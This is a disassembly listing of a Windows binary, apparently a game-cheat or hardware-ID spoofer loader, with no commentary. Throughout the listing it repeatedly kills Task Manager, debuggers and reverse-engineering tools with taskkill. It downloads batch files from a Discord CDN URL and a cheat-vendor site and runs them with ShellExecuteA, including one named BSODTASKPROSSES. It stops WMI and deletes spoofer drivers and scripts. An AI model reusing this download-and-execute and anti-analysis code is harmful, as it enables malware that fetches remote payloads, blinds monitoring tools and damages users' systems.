call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xced0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xceb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xceb0]
call fcn.14005d8d0
mov qword [rsp + 0x1bf8], rax
lea rcx, [rsp + 0xced0]
call fcn.14005d8d0
mov qword [rsp + 0x1c00], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1bf8]
mov rdx, qword [rsp + 0x1c00]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_deletemetounspoof.bat
lea rcx, [rsp + 0xce90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xce70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xce70]
call fcn.14005d8d0
mov qword [rsp + 0x1c08], rax
lea rcx, [rsp + 0xce90]
call fcn.14005d8d0
mov qword [rsp + 0x1c10], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1c08]
mov rdx, qword [rsp + 0x1c10]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderPCRENAMER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderMAS_1.5_AIO_CRC32_21D20776.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adodeletemetounspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
lea rcx, str.C:WindowsSystem_testing.Bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.Bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.net_stop_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.net_start_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.sc_stop_winmgmt
call fcn.1402b6aa8
lea rcx, str.sc_start_winmgmt
call fcn.1402b6aa8
lea rcx, str.ipconfig__flushdns
call fcn.1402b6aa8
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesMicrosoftExtensionManagerExtensionsPCRENAMER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xce50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xce30]
call fcn.14005d9d0
lea rcx, [rsp + 0xce30]
call fcn.14005d8d0
mov qword [rsp + 0x1c18], rax
lea rcx, [rsp + 0xce50]
call fcn.14005d8d0
mov qword [rsp + 0x1c20], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1c18]
mov rdx, qword [rsp + 0x1c20]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
